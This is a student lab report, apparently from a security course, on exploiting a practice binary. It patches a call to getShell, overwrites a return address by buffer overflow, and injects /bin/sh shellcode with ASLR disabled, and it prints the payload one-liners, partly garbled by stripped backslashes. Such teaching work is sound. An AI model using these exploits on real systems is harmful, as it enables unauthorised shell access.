• 2019-2020-2 20175327 《网络对抗技术》 exp1 pc平台逆向破解


    一、实验内容

    • 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 3.注入一个自己制作的shellcode并运行这段shellcode。

    二、实验目的

    • 1.运行原本不可访问的代码片段
    • 2.强行修改程序执行流
    • 3.以及注入运行任意代码。

    三、实验过程

    1.直接修改程序机器指令,改变程序执行流程

    • 将pwn1代码拷入kali上
    • 使用objdump -d pwn1 | more查看该代码的反汇编代码
    • 此时输入/getShell可以快速锁定到getShell函数、foo函数和main函数。

    上图中,我们可以看到main函数中call 8048491这句汇编指令,这句指令对应的机器指令为e8 d7 ff ff ff

    call指令要跳转到的地址=call指令所调用的getShell函数的地址-eip寄存器中的值
    

    所以call指令对应的机器指令应改为e8 c3 ff ff ff

    • 修改可执行文件
      输入vi pwn1对pwn1文件进行修改

    输入/e8 d7查找要修改的内容,然后分别输入rc、r3将d7改为c3,下图为改完后的结果

    输入:wq保存并退出vi

    • 反汇编查看修改结果

    • 运行执行文件

    2.通过构造输入参数,造成BOF攻击,改变程序执行流

    • 输入objdump -d pwn1 | more对pwn1文件进行反汇编。

    • 确认输入字符串哪几个字符会覆盖到返回地址

    使用info r命令查看寄存器的值,此时eip寄存器中的值为0x34333231即1234对应的ASCII码

    • 确认用什么值来覆盖返回地址

    之前已经知道getShell的内存地址为0804847d,而且反汇编结果中,机器指令低字节在前、高字节在后,那么输入的字符串应该为11111111222222223333333344444444x7dx84x04x08。

    • 构造输入字符串
      • 输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input,使用输出重定向>将perl生成的字符串存储到文件input中。
      • 输入指令xxd input查看input文件的内容是否如预期。
      • 输入(cat input; cat) | ./pwn1,将input的输入,通过管道符“|”,作为pwn1的输入

    3.注入Shellcode并执行

    • 准备工作
    • 先输入apt-get install execstack安装execstack。
    sudo -s 添加管理员权限
    execstack -s pwn1 设置堆栈可执行
    execstack -q pwn1 查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space
    echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
    more /proc/sys/kernel/randomize_va_space
    

    • 构造要注入的payload
    • 使用输出重定向将perl生成的字符串存储到文件input_shellcode中:
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    
    • 注入攻击buf:输入(cat input_shellcode;cat) | ./pwn1

    • 再开另外一个终端,用gdb来调试pwn1这个进程。

      • 输入ps -ef | grep pwn1查看pwn1的进程号
      • 启动gdb调试这个进程

      shellcode地址就是 0xffffd6ec+4,即0xffffd6f0

    • 修改攻击代码,完成攻击

      • 修改input_shellcode文件中的代码
    perl -e 'print "A" x 32;print "xf0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    
    • 执行(cat input_shellcode;cat) | ./pwn1

    四、思考题

    • 1、实验收获与感想
      本次实验是网络攻防的第一次实验,之前理论学习的缓冲区溢出攻击在本次实验得到了实现。简而言之,缓冲区溢出攻击就是当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上,这些溢出数据会使计算机执行非授权指令。我们在进行攻击的时候是进行了系统设置,关闭了一些保护进程,使得这个缓冲区漏洞暴露在我们面前。事实上想要攻击缓冲区漏洞不止实验中这么简单,还需要考虑一些阻止非法输入等保护数据不溢出的系统设置,但是计算机的安全隐患始终存在,我们在使用计算机的过程也要注意及时更新漏洞,以防计算机遭到非法攻击。
    • 2、什么是漏洞?漏洞有什么危害?
      漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。计算机系统漏洞可以被不法者利用通过网络植入木马、病毒等方式来攻击或控制整个计算机,窃取计算机中的重要资料和信息,甚至破坏系统。

    五、实验要求

    • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
      NOP:0x90
      JNE:0x75
      JE:0x74
      JMP
      Short Jump(短跳转):0xEB
      Near Jump(近跳转):0xE9
      Far Jump(远跳转):0xEA
      CMP:0x39
    • 掌握反汇编与十六进制编程器
      反汇编:objdump -d xxx | more
      十六进制编程器Perl:perl -e 'print "xxx"' > input
  • 相关阅读:
    WSL 修改默认登录用户为root
    WSL ssh服务自启动
    odoo 获取model的所有字段
    C++类型父类与子类的转换--dynamic_cast(转)
    开源软件/镜像库
    C/C++编译器gcc的windows版本MinGW-w64安装教程(转)
    msys2 环境搭建
    Windows下利用Cygwin搭建C/C++开发环境GCC(转)
    模板类中子类访问父类中的成员需要通过this指针
    C++ 构造函数与this指针
  • 原文地址:https://www.cnblogs.com/hollfull/p/12401333.html
Copyright © 2020-2023  润新知